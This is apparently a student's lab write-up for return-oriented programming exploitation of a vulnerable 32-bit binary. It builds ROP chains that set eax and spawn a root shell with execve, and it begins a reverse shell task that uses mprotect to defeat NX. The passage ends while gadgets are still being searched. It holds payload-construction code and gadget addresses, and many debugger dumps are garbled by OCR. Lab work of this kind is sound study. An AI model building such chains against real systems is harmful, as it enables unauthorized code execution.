Task 1: Setting eax Value [10%]

Your **task** is to create a ROP chain file called **chain_1** to set the **eax** value to 21 (0x15). Notice that you need to zero out **eax** first.

Note: You should not use inc eax;

Inspect the program using disassemble main in gdb:

```
0x080485aa <+79>: push DWORD PTR [ebp-0xc]
0x080485ad <+82>: call 0x804851b <readFile>
0x080485b2 <+87>: add esp,0x10
0x080485b5 <+90>: sub esp,0xc
```

We can find the return address of the readFile function is 0x080485b2.

Set a breakpoint inside the function readFile and just before it returns:

```
disassemble readFile
Dump of assembler code for function readFile:
   0x0804851b <+0>:
                         push
                                 ebp
   0x0804851c <+1>:
                         MOV
                                 ebp,esp
   0x0804851e <+3>:
                         sub
                                 esp,0x178
   0x08048524 <+9>:
                         sub
                                 esp,0x8
   0x08048527 <+12>:
                         lea
                                 eax,[ebp-0x176]
   0x0804852d <+18>:
                         push
                                 eax
   0x0804852e <+19>:
                         push
                                 0x8048670
   0x08048533 <+24>:
                                 0x80483a0 <printf@plt>
                         call
   0x08048538 <+29>:
                         add
                                 esp,0x10
   0x0804853b <+32>:
                         push
                                 DWORD PTR [ebp+0x8]
   0x0804853e <+35>:
                         push
                                 0x5dc
   0 \times 08048543 < +40 > :
                         push
                                 0x1
   0x08048545 <+42>:
                                 eax,[ebp-0x176]
                         lea
   0x0804854b <+48>:
                         push
                                 eax
   0x0804854c <+49>:
                         call
                                 0x80483c0 <fread@plt>
   0x08048551 <+54>:
                         add
                                 esp,0x10
   0x08048554 <+57>:
                         MOV
                                 eax,0x1
   0 \times 08048559 < +62 > :
                         leave
   0x0804855a <+63>:
                         ret
End of assembler dump.
      b *readFile +62
Breakpoint 1 at 0x8048559: file prog.c, line 15.
```

Run the program with a dummy payload:

```
root@kaiyu:/home/kaiyu/Lab06# xxd dummy_payload
00000000: 6161 6161 6161 0a aaaaaaa.
```

Find the address of buffer using x/10x buffer in gdb: 0xbfffe6c2.

```
gef ➤ x/10x buffer
0xbfffe6c2: 0x61616161 0x61616161 0xb48c000a 0x0000b7e7
0xbfffe6d2: 0xf0200000 0x0001b7ff 0xf0000000 0xa350b7ff
0xbfffe6e2: 0x0010b7e7 0xde5bb7ff
```

Find the address of the return address using grep 0x080485b2 in gdb: 0xbfffe83c.

```
gef ➤ grep 0x080485b2
[+] Searching '\xb2\x85\x04\x08' in memory
[+] In '[stack]'(0xbffdf000-0xc0000000), permission=rw-
0xbfffe83c - 0xbfffe84c → "\xb2\x85\x04\x08[...]"
```

Find the address of the libc using vmmap in gdb: 0xb7e08000.

```
gef≯ vmmap
[ Legend:
                | Heap | Stack ]
0x08049000 0x0804a000 0x00000000 r-- /home/kaiyu/Lab06/prog
0x0804a000 0x0804b000 0x00001000 rw-
                                     /home/kaiyu/Lab06/prog
0x0804b000 0x0806c000 0x00000000 rw-
                                     [heap]
0xb7e07000 0xb7e08000 0x00000000 rw-
0xb7fb8000 0xb7fb9000 0x001b0000 --- /lib/i386-linux-gnu/libc-2.23.so
0xb7fb9000 0xb7fbb000 0x001b0000 r-- /lib/i386-linux-gnu/libc-2.23.so
0xb7fbb000 0xb7fbc000 0x001b2000 rw- /lib/i386-linux-gnu/libc-2.23.so
0xb7fbc000 0xb7fbf000 0x00000000 rw-
0xb7fd5000 0xb7fd6000 0x00000000 rw-
0xb7fd6000 0xb7fd9000 0x00000000 r-- [vvar]
0xb7ffe000 0xb7fff000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so
0xb7fff000 0xb8000000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so
```

The offset between buffer address and return address:

```
offset = 0xbfffe83c - 0xbfffe6c2 = 378 search gadgets in libc:
```

offset of xor eax, eax; ret; in libc: 0x0002c7ac.

```
(libc.so.6/ELF/x86)> search xor eax, eax; ret; [INFO] Searching for gadgets: xor eax, eax; ret; [INFO] File: /lib/i386-linux-gnu/libc.so.6 0x0002c7ac: xor eax, eax; ret;
```

offset of add eax, 7; ret; in libc: 0x0013fe3f.

```
(libc.so.6/ELF/x86)> search add eax, 21; ret;
[INFO] Searching for gadgets: add eax, 21; ret;

(libc.so.6/ELF/x86)> search add eax, 20; ret;
[INFO] Searching for gadgets: add eax, 20; ret;

(libc.so.6/ELF/x86)> search add eax, 7; ret;
[INFO] Searching for gadgets: add eax, 7; ret;
[INFO] File: /lib/i386-linux-gnu/libc.so.6
0x0013fe3f: add eax, 7; ret;
```

In the payload, put the address of xor eax, eax; ret; in the place of the return address, followed by 3 add eax, 7; ret;

```
# The address of xor eax, eax; ret
xor_eax_eax_ret_addr = 0x0002c7ac + libc_addr

# The address of add eax, 7; ret
add_eax_7_ret_addr = 0x0013fe3f + libc_addr

# Generate the payload
content[offset:offset+4] = (xor_eax_eax_ret_addr).to_bytes(4,byteorder='little')
content[offset+4:offset+16] = (add_eax_7_ret_addr).to_bytes(4,byteorder='little') * 3
```

Run the program with payload:

Set a breakpoint inside the function readFile and just before it returns:

```
disassemble readFile
Dump of assembler code for function readFile:
   0x0804851b <+0>:
                         push
                                ebp
   0x0804851c <+1>:
                         MOV
                                ebp,esp
   0x0804851e <+3>:
                         sub
                                esp.0x178
   0x08048524 <+9>:
                         sub
                                esp.0x8
   0x08048527 <+12>:
                         lea
                                eax,[ebp-0x176]
   0x0804852d <+18>:
                         push
                                eax
   0x0804852e <+19>:
                         push
                                0x8048670
   0x08048533 <+24>:
                        call
                                0x80483a0 <printf@plt>
   0x08048538 <+29>:
                         add
                                esp,0x10
   0x0804853b <+32>:
                                DWORD PTR [ebp+0x8]
                         push
   0x0804853e <+35>:
                         push
                                0x5dc
   0 \times 08048543 < +40 > :
                         push
                                0x1
   0x08048545 <+42>:
                                eax,[ebp-0x176]
                         lea
   0x0804854b <+48>:
                         push
                                eax
   0x0804854c <+49>:
                        call
                                0x80483c0 <fread@plt>
   0x08048551 <+54>:
                         add
                                esp,0x10
   0 \times 08048554 < +57 > :
                                eax,0x1
                         MOV
   0x08048559 <+62>:
                         leave
   0x0804855a <+63>:
                         ret
End of assembler dump.
     b *readFile +62
Breakpoint 1 at 0x8048559: file prog.c, line 15.
```

Stepping:

return to xor eax, eax:

```
: 0x1
           : 0xbfffefb0 → 0x00000002
: 0x0804b0a0 → 0x00000000
           : 0x0
           : 0x0

: 0xbfffe84c → 0xb7e347ac

: 0x90909090

: 0xb7fbb000 → 0x001b2db0

→ 0x001b2db0
           : [carry parity adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identifica
tion]
 $cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
0xbfffe84c +0x0000:
                                                                                                                         ← $esp
                                                    → <__strlen_sse2+655> add eax, 0x7
→ <__strlen_sse2+655> add eax, 0x7
→ <__strlen_sse2+655> add eax, 0x7
0xbfffe850 +0x0004:
0xbfffe854 +0x0008:
0xbfffe858 +0x000c: 0xb7f47e3f
0xbfffe85c +0x0010: 0x90909090
0xbfffe860 +0x0014: 0x90909090
0xbfffe864 +0x0018: 0x90909090
0xbfffe868 +0x001c: 0x90909090
      0x8048554 <readFile+57>
0x8048559 <readFile+62>
         0xb7e347ac <__sigaddset+28> xor
                                                                   eax, eax
          0xb7e347ae <__sigaddset+30> ret
          0xb7e347af
                                                       nop
                                                                   eax, DWORD PTR [esp+0x8]
edx, DWORD PTR [esp+0x4]
         0xb7e347b0 <__sigdelset+0> mov
0xb7e347b4 <__sigdelset+4> mov
0xb7e347b8 <__sigdelset+8> lea
                                                                   ecx, [eax-0x1]
```

set the value of eax to 0 and return to add eax, 7:

```
: 0xbfffefb0 → 0x00000002
: 0x0804b0a0 → 0x00000000
            : 0x0
          : 0xbfffe850
: 0x90909090
            : 0x90909090

: 0xb7fbb000 → 0x001b2db0

: 0xb7fbb000 → 0x001b2db0

: 0xb7g307ac → < stgaddset+30> ret
            : 0xb7fbb000
peup : <del>UND/e34/8e → <__</del>sigaddset+30> ret
<mark>Seflags:</mark> [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identifica
tion]
 cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
                                                           → <__strlen_sse2+655> add eax, 0x7
→ <__strlen_sse2+655> add eax, 0x7
→ <__strlen_sse2+655> add eax, 0x7
 exbfffe850 +0x0000:
                                                                                                                                        ← $esp
 )xbfffe854 +0x0004:
 )xbfffe858 +0x0008:
 0xbfffe85c +0x000c: 0x90909090
0xbfffe860 +0x0010: 0x90909090
0xbfffe864 +0x0014: 0x90909090
 0xbfffe868 +0x0018: 0x90909090
0xbfffe86c +0x001c: 0x90909090
     0xb7e347a8 <__sigaddset+24> shl edx, cl
0xb7e347aa <__sigaddset+26> or DWORD P
                                                                                  eax, 0x7
     • 0xb7f47e3f <__strlen_sse2+655> add
          Oxb/T4/e42 < _strlen_sse2+658> ret

Oxb/T4/e42 < _strlen_sse2+659> lea

Oxb/T47e49 < _strlen_sse2+659> lea

Oxb/T47e50 < _strlen_sse2+672> mov

Oxb/T47e52 < _strlen_sse2+674> and
                                                                                   esi, [esi+0x0]
edi, [edi+eiz*1+0x0]
ch, dh
ch, 0xf
```

add 7 to eax and return to add eax, 7:

add 7 to eax and return to add eax, 7 again:

add 7 to eax and return, now the value of eax is 0x15:

```
: 0x15
                        → 0x00000002
          0x0804b0a0 → 0x00000000
          0x0
                         → 0x90909090
        : 0x90909090
                       → 0x001b2db0
→ 0x001b2db0
        :: [carry parity ADJUST zero sign trap INTERRUPT direction overflow RESUME virtualx86 identifica
     0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
0xbfffe85c +0x0000: 0x90909090
             +0x0004: 0x90909090
             +0x0008: 0x90909090
           +0x000c: 0x90909090
+0x0010: 0x90909090
0xbfffe870 +0x0014: 0x90909090
0xbfffe874 +0x0018: 0x90909090
0xbfffe878 +0x001c: 0x90909090
   0xb7f47e3d <__strlen_sse2+653> jne
0xb7f47e3f <__strlen_sse2+655> add
0xb7f47e42 <__strlen_sse2+655> add
   Cannot disassemble from $PC
[#0] Id 1, Name: "prog", stopped 0xb7f47e42 in __strlen_sse2 (), reason: SINGLE STEP
[#0] 0xb7f47e42 → __strlen_sse2()
```

Task 2: Open a Shell [45%]

Your **task** is to generate a ROP chain file, called **chain_2**, to open a shell using the **execve** system call with "/bin/sh" as an argument. Recall the steps you need to perform to invoke **execve**:

- 1. ebx = address of null-terminated string
- 2. ecx = NULL
- 3. edx = NULL
- 4. eax = 0x0b
- 5. Invoke "int 0x80" or "call gs:[0x10]"

The addresses of the buffer, the address of the return address, and the offset are the same as in the task1.

Find "mov edx, 0; ... ret;" in libc using ropper: 0x000e8c12

```
(libc.so.6/ELF/x86)> search mov e?x, 0;
[INFO] Searching for gadgets: mov e?x, 0;

[INFO] File: /lib/i386-linux-gnu/libc.so.6
0x0013cb22: mov eax, 0; jne 0x13d2a0; pop ebx; ret;
0x0013c95b: mov eax, 0; jne 0x13d2b6; pop ebx; ret;
0x0013e29a: mov eax, 0; jne 0x13e4e0; pop ebx; ret;
(0x0013f954: mov eax, 0; jne 0x13fb80; pop ebx; ret;
(0x0013fa11: mov eax, 0; jne 0x13fba0; pop ebx; ret;
0x0003d0s5: mov ebx, 0; mov eax, 0x7e; call dword ptr gs:[0x10];
cmovb eax, edx; ret;
10x000000100: mov edx, 0; cmove eax, edx; pop ebx; ret;
0x0007348c: mov edx, 0; cmp eax, -1; cmove eax, edx; add esp, 0x1c; ret;
```

Find "mov ecx, edx; ... ret;" in libc using ropper: 0x00077300

```
[INFO] File: /lib/i386-linux-gnu/libc.so.6

0x00077346: mov ecx, edx; and ecx, 7; add eax, dword ptr [eax + ecx*4 - 0x5c0b0]; jmp eax;

0x00002c284: mov ecx, edx; call dword ptr gs:[0x10];

0x0000f43ce: mov ecx, edx; call dword ptr gs:[0x10]; cmp eax, 0xfffff000; ja 0xf43e0; pop ebx

; ret;

0x000b0589: mov ecx, edx; lea edi, [eax + 0x68]; mov esi, edx; mov eax, 0x78; call dword ptr

gs:[0x10];

0x000ab197: mov ecx, edx; mov eax, 0x127; mov edx, 0x98800; call dword ptr gs:[0x10];

0x000e9009: mov ecx, edx; push ebx; mov esi, edx; mov ebx, 0x16; mov edi, dword ptr [esp + 0

x10]; call dword ptr gs:[0x10];

0x00077129: mov ecx, edx; rep stosb byte ptr es:[edi], al; mov eax, dword ptr [esp + 8]; pop

edi; ret;

0x00077300: mov ecx, edx; rep stosb byte ptr es:[edi], al; pop edi; ret;
```

It contains a pop instruction, so we need to add a dummy number in payload.

Find "mov eax, 7; ret;" in libc using ropper: 0x000a06e0

```
(libc.so.6/ELF/x86)> search mov eax, ?; ret;
[INFO] Searching for gadgets: mov eax, ?; ret;
[INFO] File: /lib/i386-linux-gnu/libc.so.6
[0x0002cb10: mov eax, 1; ret;
[0x0000a0690: mov eax, 2; ret;
[0x0000a06a0: mov eax, 3; ret;
[0x0000a06c0: mov eax, 4; ret;
[0x0000a06d0: mov eax, 6; ret;
[0x0000a06e0: mov eax, 7; ret;
```

Find "add eax, 4; ret;" in libc using ropper: 0x0013fe9c

```
((libc.so.6/ELF/x86)> search add eax, 4; ret;
[INFO] Searching for gadgets: add eax, 4; ret;
[INFO] File: /lib/i386-linux-gnu/libc.so.6
0x0013fe9c: add eax, 4; ret;
```

Find "pop ebx; ret;" in libc using ropper: 0x000183a5

```
(libc.so.6/ELF/x86)> search pop ebx; ret;
[INFO] Searching for gadgets: pop ebx; ret;
[INFO] File: /lib/i386-linux-gnu/libc.so.6
0x0000183a5: pop ebx; ret;
```

Find the address of the string "/bin/sh" using grep "/bin/sh" in gdb: 0xb7f63b2b

Find "int 0x80;" in libc using ropper: 0x00002c87

```
[INF0] File: /lib/i386-linux-gnu/libc.so.6
0x000002c87: int 0x80;
0x0000d4872: int 0x80; call dword ptr gs:[0x10];
```

The order of the gadgets:

```
# 0x000e8c12: mov edx, 0; cmovb eax, edx; ret;
gadgets1 = 0x000e8c12 + libc addr
# 0x00077300: mov ecx, edx; rep stosb byte ptr es:[edi], al; pop edi; ret;
gadgets2 = 0x00077300 + libc addr
gadgets3 = 0x000a06e0 + libc_addr
# 0x0013fe9c: add eax, 4; ret;
gadgets4 = 0x0013fe9c + libc addr
gadgets5 = 0x000183a5 + libc addr
binsh addr = 0xb7f63b2b
gadgets6 = 0x00002c87 + libc_addr
dummy_num = 0xffffffff
# Generate the payload
content[offset:offset+4] = (gadgets1).to_bytes(4,byteorder='little')
content[offset+4:offset+8] = (gadgets2).to_bytes(4,byteorder='little')
content[offset+8:offset+12] = (dummy_num).to_bytes(4,byteorder='little')
content[offset+12:offset+16] = (gadgets3).to_bytes(4,byteorder='little')
content[offset+16:offset+20] = (gadgets4).to_bytes(4,byteorder='little')
content[offset+20:offset+24] = (gadgets5).to_bytes(4,byteorder='little')
content[offset+24:offset+28] = (binsh_addr).to_bytes(4,byteorder='little')
content[offset+28:offset+32] = (gadgets6).to_bytes(4,byteorder='little')
```

Opened a shell successfully:

```
xgef> set args chain_2
xgef> r
Starting program: /home/kaiyu/Lab06/prog chain_2
xbuffer is at:0xbfffe6d2
xprocess 28439 is executing new program: /bin/dash
i# whoami
iroot
# exit
[Inferior 1 (process 28439) exited normally]
gef> ■
```

Set breakpoint at readFile before "ret", run program in gdb using stepping: readFile return to "mov edx, 0":

```
[ Legend: Modified register | Code | Heap | Stack | String ]

Seax : 0x1
Sebx : 0xbfffefbb → 0x000000002
Secx : 0x8004bba0 → 0x000000000
Secx : 0x8004bba0 → 0x0000000000
Secx : 0x8004bba0 → 0x001b2db0
Sebp : 0x90909090
Sesi : 0xbffbb00 → 0x001b2db0
Sedi : 0xbffb00 → 0x001b2db0
Sedi : 0xbffb00 → 0x001b2db0
Sedi : 0xbfffb00 → 0x001b2db0
Sedi : 0xbfff65f0
Sedi : 0xbfff65f0
Sedi : 0xbff7500 → 0x007b Sesi 0x007b Sesi 0x0000 Sgs: 0x0033

0xbfff85cd | +0x0000: 0xbffffffff
0xbfff85cd | +0x0000: 0xbff77100 → 0x007b Sesi 0x0007b Sesi 0x0000 Sgs: 0x0033

0xbfff85cd | +0x0000: 0xbff77100 → 0x007b Sesi 0x0007b Sesi 0x00000 Sgs: 0x00033

0xbfff85cd | +0x0000: 0xbff77100 → 0x007b Sesi 0x0007b Sesi 0x00000 Sgs: 0x00033

0xbfff85cd | +0x0000: 0xbff77100 → 0x007b Sesi 0x0007b Sesi 0x0000 Sgs: 0x00033

0xbfff85cd | +0x0000: 0xbff77100 → 0x007b Sesi 0x0007b Sesi 0x0000 Sgs: 0x00033

0xbfff85cd | +0x0000: 0xbff77100 → 0x007b Sesi 0x0000 Sgs: 0x00033

0xbfff85cd | +0x0000: 0xbff77100 → 0x007b Sesi 0x0000 Sgs: 0x00033

0xbfff85cd | +0x0000: 0xbff77100 → 0xbff774780 → 0xbff76000 Sgs: 0x00000 Sgs: 0x0000 Sgs: 0x00000 Sgs: 0x0000 Sgs: 0x0000 Sgs: 0x0000 Sgs: 0x0000
```

edx is set to NULL (0):

return to mov ecx, edx:

```
[ Legend: Modified register | Code | Heap | Stack | String ]
                                 : 0X1
: 0xbfffefb0 → 0x00000002
: 0x0804b0a0 → 0x00000000
                                   : 0x0
                               : 0x0

: 0xbfffe854 → 0xfffffff

: 0x90909090

: 0xb7fbb000 → 0x001b2db0

: 0xb7fbb000 → 0x001b2db0
                                                                                               \rightarrow
   $\frac{\partix}{\partix} = \frac{\partix}{\partix} = \frac{\partix}{\p
0xbfffe854 +0x0000: 0xffffffff ← $esp
0xbfffe858 +0x0004: 0xb7ea86e0 → <__wo
               0xb7e7f300 < __bzero_ta32+50> rep
0xb7e7f302 < __bzero_ta32+50> pop
0xb7e7f304 < __bzero_ta32+52> pop
0xb7e7f305 < __bzero_ta32+53> ret
                                                                                                                                                                               stos BYTE PTR es:[edi], al
edi
                                                                                               _ xchg ax, ax
xchg ax, ax
               0xb7e7f306
               0xb7e7f308
   [#0] Id 1, Name: "prog", stopped 0xb7e7f300 in __bzero_ia32 (), reason: SINGLE STEP
  [#0] 0xb7e7f300 → _bzero_ia32()
[#1] 0xb7ea86e0 → _wcslen_sse2()
[#2] 0xb7f47e9c → _strlen_sse2()
[#3] 0xb7e203a5 → clock_gettime_syscall(id=0x90909090, tp=0x90909090)
     [#4] 0xb7e0ac87 →
```

ecx is set to NULL (0):

```
[ Legend: Modified register | Code | Heap | Stack | String ]
         : 0x1
: 0xbfffefb0 → 0x00000002
         : 0x0
         : 0x0
         : 0x0

: 0xbfffe854 → 0xffffffff

: 0x90909090

: 0xb7fbb000 → 0x001b2db0

: 0xb7fbb000 → 0x001b2db0
setp : 0xb/r4/f302 → <_bzero_ia32+50> rep stos BYTE PTR es:[edi], al
$eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
0xbfffe870 +0x001c: 0x90909090
                                                          ecx, edx
stos BYTE PTR es:[edi], al
    0xb7e7f304 <__bzero_ia32+52> pop
0xb7e7f305 <__bzero_ia32+53> ret
0xb7e7f306 xchg
                                                          edi
                         xchg
xchg
                                                         ax, ax
                                                       ax, ax
    0xb7e7f30a
                                               xchg
[#0] Id 1, Name: "prog", stopped 0xb7e7f302 in __bzero_ia32 (), reason: SINGLE STEP
[#0] 0xb7e7f302 → __bzero_ia32()
[#1] 0xb7ea86e0 → __wcslen_sse2()
[#2] 0xb7f47e9c → __strlen_sse2()
[#3] 0xb7e203a5 → clock_gettime_syscall(id=0x90909090, tp=0x90909090)
[#4] 0xb7e0ac87 → int 0x80
```

pop dummy number to edi:

```
fffefb0 \rightarrow 0x00000002
                    0x0
                    0xbfffe854
0x90909090
0xb7fbb000 → 0x001b2db0
0xb7fbb000 → 0x001b2db0
 Setp : 0x07e77304 → <_bzero_ta32+52> pop edi
$eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033

      0xbfffe854
      +0x0000: 0xffffffff
      ← $esp

      0xbfffe858
      +0x0004: 0xb7e438e0
      → <_wcslen_sse2+496> mov eax, 0x7

      0xbfffe860
      +0x0006: 0xb7e203a5
      → <_lock_gettime_sse2+748> add eax, 0x4

      0xbfffe864
      +0x0010: 0xb7f63b2b
      → <clock_gettime_syscall+21> pop ebx

      0xbfffe864
      +0x0014: 0xb7e0ac87
      → 0x803b80cd

      0xbfffe870
      +0x001c: 0x90909090

      0xb7e7f2fe <__bzero_ia32+46> rep
0xb7e7f300 <__bzero_ia32+48> mov
0xb7e7f302 <__bzero_ia32+50> rep
      0xb7e7f305 <__bzero_ia32+53> ret
                                    xchg ax, ax
xchg ax, ax
xchg ax, ax
      0xb7e7f306
0xb7e7f308
      0xb7e7f30a
                                                                       xchg
       0xb7e7f30c
                                                                                        ax, ax
[#0] Id 1, Name: "prog", stopped 0xb7e7f304 in __bzero_ia32 (), reason: SINGLE STEP
[#0] 0xb7e7f304 → __bzero_ia32()
[#1] 0xb7ea86e0 → __wcslen_sse2()
[#2] 0xb7f47e9c → __strlen_sse2()
[#3] 0xb7e203a5 → clock_gettime_syscall(id=0x90909090, tp=0x90909090)
 [#4] 0xb7e0ac87 → i
```

edi is set to dummy number:

then return to mov eax, 7:

```
[ Legend: Modified register | (
                                           le | Heap | Stack | String ]
         : 0x1
                fffefb0 → 0x00000002
         : 0x0
        : 0x0
        : 0xbfffe85c → 0xb7f47e9c

: 0x90909090

: 0xb7fbb000 → 0x001b2db0

: 0xffffffff
 Seflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
Scs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
← $esp
   0xb7ea86d6 <__wcslen_sse2+486> lea
0xb7ea86d9 <__wcslen_sse2+489> lea
   0xb7ea86e5 <__wcslen_sse2+501> ret
                   xchg ax, ax
   0xb7ea86e6
    0xb7ea86e8
   0xb7ea86ea
   0xb7ea86ec
[#0] Id 1, Name: "prog", stopped 0xb7ea86e0 in __wcslen_sse2 (), reason: SINGLE STEP
[#0] 0xb7ea86e0 → __wcslen_sse2()
[#1] 0xb7f47e9c → __strlen_sse2()
[#2] 0xb7e20335 → clock_gettime_syscall(id=0x90909090, tp=0x90909090)
[#3] 0xb7e0ac87 →
```

eax is set to 7, return to add eax, 4:

eax is 0x0b now, return to pop ebx:

```
ffefb0 → 0x00000002
         : 0x0
                 ffe864 \rightarrow 0xb7f63b2b \rightarrow "/bin/sh"
        : 0x90909090
        : 0xb7fbb000 → 0x001b2db0
: 0xfffffff
 ieip : 0xb7e203a5 → <clock_gettime_syscall+21> pop ebx
ieflags: [carry parity adjust zero sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
ics: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
0xbfffe864

0xbfffe868

0xbfffe86c

0xbfffe86c

0xbfffe870

0xbfffe870
                                                                ← $esp
0xbfffe874 +0x0010: 0x90909090
0xbfffe878 +0x0014: 0x90909090
0xbfffe87c +0x0018: 0x90909090
0xbfffe880 +0x001c: 0x90909090
                                                             ebx, DWORD PTR [esp+0x8]
DWORD PTR gs:0x10
   0xb7e203a6 <clock_gettime_syscall+22> ret
                          mov esi, esi
lea edi, [edi+eiz*1+0x0]
   0xb7e203a7
   0xb7e203a9
   0xb7e203b2
[#0] Id 1, Name: "prog", stopped 0xb7e203a5 in clock_gettime_syscall (), reason: SINGLE STEP
[#0] 0xb7e203a5 → clock_gettime_syscall(id=0x90909090, tp=0x90909090)
[#1] 0xb7e0ac87 → int 0x80
```

ebx pointed to "/bin/sh", return to int 0x80:

```
0xb7f63b2b → "/bin/sh"
           0x0
           0xbfffe868 → 0xb7e0ac87 → 0x803b80cd
0x90909090
         : 0xb7fbb000 → 0x001b2db0
: 0xfffffff
seflags: [carry parity adjust zero sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
← Sesp
0xbfffe870
0xbfffe874
+0x000c: 0x90909090
0xbfffe878 +0x0010: 0x90909090
0xbfffe87c +0x0014: 0x90909090
0xbfffe880 +0x0018: 0x90909090
 0xbfffe884 +0x001c: 0x90909090
                                            int
cmp
       0xb7e0ac87
                                                    0x80
                                                      eax, DWORD PTR [eax+0x4f0ec50f]
       0xb7e0ac8f
0xb7e0ac94
                                                     eax, 0xfacce8fe
esi
                                            οг
                                            рор
       0xb7e0ac95
                                             test eax, 0xfd09cf20
       0xb7e0ac97
[#0] Id 1, Name: "prog", <mark>stopped</mark> 0xb7e203a6 in <mark>clock_gettime_syscall (), reason: SINGLE STEP</mark>
[#0] 0xb7e203a6 \rightarrow clock_gettime_syscall(id=0x90909090, tp=0x90909090) [#1] 0xb7e0ac87 \rightarrow int 0x80
gef≻ continue
Continuing.
process 24746 is executing new program: /bin/dash
# whoami
# exit
```

It opened a shell successfully using the execve system call.

Task 3: Open a Reverse Shell (ROP + Shellcode) [45%]

Assume that the binary is running at a victim machine. Your **task** is to generate a payload called **chain_3** to start a reverse shell at the victim machine. The reverse shell should execute from a shellcode injected to the stack. However, recall that we enabled the NX bit for the vulnerable binary!

Shellcode reference: https://shell-storm.org/shellcode/files/shellcode-883.html

According to Prof. Wang's hint in class, we need to use the system call mprotect() to bypass the NX bit first. Then, we need to control eip to jump to our shellcode using "ret" instruction. In this task, the size of shellcode is smaller than BUF_SIZE, so we can place the shellcode at the beginning of the payload, which means it is before the ROP chain.

Find the address of mprotect using "p mprotect" command in gdb:

```
gef ➤ p mprotect
$1 = {<text variable, no debug info>} 0xb7eeaec0 <mprotect>
gef ➤ ■
```

How to use mprotect: reference to the manual page of mprotect()

https://manpages.ubuntu.com/manpages/bionic/man2/mprotect.2.html

SYNOPSIS

```
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
int pkey_mprotect(void *addr, size_t len, int prot, int pkey);
```

DESCRIPTION

```
mprotect() changes the access protections for the calling process's memory pages
containing any part of the address range in the interval [addr, addr+len-1]. addr must be
aligned to a page boundary.

If the calling process tries to access memory in a manner that violates the protections,
then the kernel generates a SIGSEGV signal for the process.

prot is a combination of the following access flags: PROT_NONE or a bitwise-or of the
other values in the following list:

PROT_NONE The memory cannot be accessed at all.

PROT_EXEC The memory can be executed.

PROT_EXEC The memory can be executed.
```

The first parameter is the start address of the memory to change permission (must be aligned to a page boundary). The second parameter is the length of the memory to change permission.

The third parameter is the new permission for the address area.

Find the start address of stack using vmmap in gdb: 0xbffdf000.

```
vmmap
 Legend:
                | Heap | Stack ]
0x08049000 0x0804a000 0x000000000 r-- /home/kaiyu/Lab06/prog
0x0804a000 0x0804b000 0x00001000 rw- /home/kaiyu/Lab06/prog
  0804b000
0xb7e07000 0xb7e08000 0x000000000
0xb7fb8000 0xb7fb9000 0x001b0000 --- /lib/i386-linux-gnu/libc-2.23.so
0xb7fb9000 0xb7fbb000 0x001b0000 r-- /lib/i386-linux-gnu/libc-2.23.so
0xb7fbb000 0xb7fbc000
                      0x001b2000 rw-
                                     /lib/i386-linux-gnu/libc-2.23.so
0xb7fbc000 0xb7fbf000
                      0x00000000
                                 rw-
0xb7fd5000 0xb7fd6000 0x00000000
0xb7fd6000 0xb7fd9000 0x00000000 r-- [vvar]
0xb7ffe000 0xb7fff000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so
                                       ib/i386-linux-gnu/ld-2.23.so
```

The length of the memory to change permission should be larger than the length of stack:

0xc0000000 - 0xbffdf000 = 0x21000

The number of the new permission should be 0x7, which means readable, writable, and executable.

Reference to the number of the system call:

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

124	adjtimex	man/ cs/	0x7c	struct kernel_timex *txc_p	-	-	-
125	mprotect	man/ cs/	0x7d	unsigned long	size_t len	unsigned long prot	-
126	sigprocmask	man/ cs/	0x7e	int how	old_sigset_t *set	old_sigset_t *oset	_
120	Sigprocritisis	THOTIS COS	OX7 C	III CHOW	ord_sigset_t set	ora_signet_t onet	
127	not implemented		0x7f				

So, the values of the registers should be as follows:

eax: 0x7d (number of the system call mprotect)

ebx: 0xbffdf000 (start address of the stack, which is aligned to a page boundary)

ecx: 0x01010101 (length of the memory to change permission, which is larger than the length of stack, no zero

edx: 0x7 (the number of the new permission: readable, writable, and executable)

After the system call, the program should be return to the shellcode, which means the return address should be set to the address of the shellcode.

Search the gadgets using ropper:

libc: 0x000e8c12: mov edx, 0; cmovb eax, edx; ret;

```
(libc.so.6/ELF/x86)> search mov edx, % ret;
[INFO] Searching for gadgets: mov edx, % ret;

[INFO] File: /lib/i386-linux-gnu/libc.so.6
0x0000e8c12: mov edx, 0; cmovb eax, edx; ret;
30x000b0100: mov edx, 0; cmove eax, edx; pop ebx; ret;
30x0007348c: mov edx, 0; cmp eax, -1; cmove eax, edx; add esp,
```

libc: 0x00025c65: inc edx; ret: *7

```
(libc.so.6/ELF/x86)> search inc edx; ret;
[INFO] Searching for gadgets: inc edx; ret;
[INFO] File: /lib/i386-linux-gnu/libc.so.6
0x000025c65: inc edx; ret;
```

libc: 0x000b1b80: mov eax, 0x7e; pop ebx; ret;

```
0x0000b1b5c: mov eax, 0x7d00; pop ebx; ret;
0x0000b1b80: mov eax, 0x7e; pop ebx; ret;
0x0000b1b17: mov eax, 0x7f; cmovne eax, edx; ret;
0x0000b1ac7: mov eax, 0x7f; pop ebx; ret;
```

